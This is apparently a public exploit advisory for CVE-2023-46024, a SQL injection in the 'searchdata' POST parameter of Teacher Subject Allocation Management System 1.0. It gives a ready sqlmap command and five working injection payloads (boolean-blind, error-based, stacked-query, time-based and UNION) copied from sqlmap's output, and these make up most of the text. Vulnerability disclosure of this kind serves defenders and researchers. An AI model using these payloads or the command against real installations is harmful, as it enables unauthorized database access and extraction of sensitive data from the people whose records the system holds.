Teacher Subject Allocation Management System 1.0 SQL Injection

`# Exploit Title: Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi  
# Date: 2023-11-15  
# Exploit Author: Ersin Erenler  
# Vendor Homepage: https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17645  
# Version: 1.0  
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0  
# CVE : CVE-2023-46024  
  
-------------------------------------------------------------------------------  
  
# Description:  
  
Teacher Subject Allocation Management System V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'searchdata' parameter in the index.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.  
  
Vulnerable File: /index.php  
  
Parameter Name: searchdata  
  
# Proof of Concept:  
----------------------  
  
Execute sqlmap using either the 'searchdata' parameter to retrieve the current database:  
  
sqlmap -u "http://localhost/Tsas" --method POST --data "searchdata=test&search=" -p searchdata --risk 3 --level 3 --dbms mysql --batch --current-db  
  
SQLMap Response:  
----------------------  
---  
Parameter: searchdata (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: searchdata=test%' AND 3912=3912 AND 'qxHV%'='qxHV&search=  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: searchdata=test%' AND (SELECT 1043 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1043=1043,1))),0x717a787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kewe%'='kewe&search=  
  
Type: stacked queries  
Title: MySQL >= 5.0.12 stacked queries (comment)  
Payload: searchdata=test%';SELECT SLEEP(5)#&search=  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: searchdata=test%' AND (SELECT 8862 FROM (SELECT(SLEEP(5)))GqzT) AND 'wylU%'='wylU&search=  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 15 columns  
Payload: searchdata=test%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x784e7a47626a794a74456975444c5a4c64734556414658476e75684c4a716f6173724b6b6a685163,0x717a787171)-- -&search=  
---  
  
`